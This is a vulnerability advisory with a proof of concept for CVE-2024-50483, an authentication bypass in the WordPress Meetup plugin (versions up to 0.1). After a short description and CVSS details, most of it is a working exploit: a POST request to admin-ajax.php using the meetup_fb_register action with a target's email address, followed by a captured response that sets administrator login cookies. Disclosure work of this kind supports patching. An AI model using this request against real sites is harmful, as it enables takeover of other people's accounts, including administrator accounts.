Meetup <= 0.1 - Authentication Bypass via Account Takeover
The Meetup plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 0.1. This is due to the plugin not properly verifying a user's identity prior to authenticating them via the facebook_register() function. This makes it possible for unauthenticated attackers to log in as any user, granted they know their email address.
CVE: CVE-2024-50483
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: meetup
Note: You need to know the users email address you want to login as.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
action=meetup_fb_register&[email protected]&first_name=Test&last_name=User&id=12345678901234567890&type=token&link=https://example.com/user/test/
HTTP/1.1 200 OK
Date: Tue, 05 Nov 2024 21:37:23 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.13
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Set-Cookie: wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cb30fbbd9ddce680d1b3992fc121335abfede4d30ed0ddfea33cab3c7a9c800dd; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cb30fbbd9ddce680d1b3992fc121335abfede4d30ed0ddfea33cab3c7a9c800dd; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cecd2fbdf078b2f2b3735b5e423cfae0efa73526e26e17f3cd192896597c7b650; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/; HttpOnly
Content-Length: 0
Content-Type: text/html; charset=UTF-8